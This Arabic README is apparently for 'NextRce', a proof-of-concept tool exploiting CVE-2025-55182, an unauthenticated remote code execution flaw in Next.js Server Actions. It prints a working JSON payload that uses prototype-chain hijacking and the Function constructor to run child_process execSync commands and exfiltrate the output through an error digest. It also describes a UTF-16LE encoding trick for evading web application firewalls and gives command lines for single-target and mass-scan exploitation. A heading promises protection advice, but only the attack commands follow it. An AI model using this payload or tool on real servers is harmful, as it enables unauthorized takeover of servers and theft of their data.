
أداة بحثية لإثبات المفهوم (PoC) لثغرة CVE-2025-55182، وهي ثغرة RCE حرجة غير مصادقة في Next.js App Router ناتجة عن حقن كائنات من جهة الخادم في React Server Components وServer Actions، بما في ذلك تقنيات تجاوز جدار الحماية WAF باستخدام UTF-16LE.
NextRce هي أداة بحث أمني توضّح CVE-2025-55182، وهي ثغرة حرجة في تطبيقات Next.js App Router التي تستخدم مكونات خادم React (RSC) وإجراءات الخادم (Server Actions).
تتيح هذه الثغرة للمهاجم تحقيق تنفيذ الأكواد عن بُعد (RCE) دون الحاجة إلى مصادقة عبر استغلال الطريقة التي يعالج بها Next.js استجابات Server Actions ويحلّل حمولات RSC المتسلسلة على الخادم.
توجد CVE-2025-55182 في بنية Next.js App Router ويمكن تصنيفها كمشكلة حقن كائنات من جهة الخادم / إساءة استخدام سلسلة النماذج الأولية (prototype chain) تحدث أثناء معالجة طلبات multipart/form-data.
عند تفعيل Server Action، يثق خادم Next.js في المدخلات المنظمة الواردة من العميل ويقوم بإلغاء تسلسلها. عبر إرسال حمولة مصمّمة خصيصًا، يمكن للمهاجم التلاعب بمنطق الحل الداخلي وتنفيذ أوامر نظام تعسفية داخل بيئة تشغيل Node.js.
تنشأ الثغرة بسبب العوامل المجتمعة التالية:
نموذج الثقة في Server Actions
تقبل Server Actions حمولات منظمة من العميل تتم معالجتها عبر منطق حل مكونات خادم React الداخلي دون تحقق كافٍ.
حقن الكائنات أثناء حل RSC
يمكن للحمولات المصمّمة إساءة استخدام سلاسل النماذج الأولية ومراجع المُنشئات في JavaScript، مما يسمح بالهروب من نطاق الكائن المقصود.
تعقيم غير كافٍ
الحقول الداخلية مثل then و_response ودوال الجلب لبيانات النموذج (form-data getters) ليست محمية بشكل كافٍ ضد التلاعب الخبيث.
تجاوز جدار الحماية عبر الترميز
تركز العديد من جدران حماية تطبيقات الويب (WAF) على UTF-8 أو JSON القياسي. إن ترميز الحمولات بصيغة UTF-16LE يسمح لها بتجاوز الفحص بينما يبقى فك ترميزها صحيحًا بواسطة خادم Next.js.
يعتمد الاستغلال على حقن حمولة RSC مصمّمة داخل طلب multipart.
فيما يلي نسخة مبسّطة من الحمولة:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. اختطاف سلسلة النماذج الأولية
"then": "$1:__proto__:then"then، مما يتداخل مع الطريقة التي تُحل بها الوعود (Promises) أثناء معالجة مكونات خادم React في بيئة تشغيل Next.js.2. الهروب عبر المُنشئ
"_formData": { "get": "$1:constructor:constructor" }Function العام، مما يمكّن من تنفيذ أكواد JavaScript تعسفية خارج بيئة العزل (sandbox) المقصودة.3. تنفيذ الأكواد عن بُعد
process.mainModule .require('child_process') .execSync('{cmd}')4. استخراج المخرجات عبر digest
throw Object.assign(new Error('x'), { digest: res });5. تجاوز جدار الحماية WAF (UTF-16LE)
Content-Type: text/plain; charset=utf-16leقد يؤدي الاستغلال الناجح لـ CVE-2025-55182 إلى:
🔥 تنفيذ كامل للأكواد عن بُعد
🗄️ الوصول إلى البيانات الحساسة وبيانات الاعتماد
🔗 حركة جانبية داخل البنية التحتية
📦 اختراق سلسلة التوريد
🚨 السيطرة الكاملة على الخادم
مستوى الخطورة: حرج
المصادقة مطلوبة: لا
للحماية من CVE-2025-55182:
هدف واحد
python3 exploit.py -u https://target.com -c "whoami"فحص جماعي مع تجاوز WAF
python3 exploit.py -l urls.txt -B -t 50يُقدَّم هذا المشروع حصريًا لأغراض تعليمية وبحثية واختبارات أمنية مصرّح بها.
لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا لاختبارها.
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.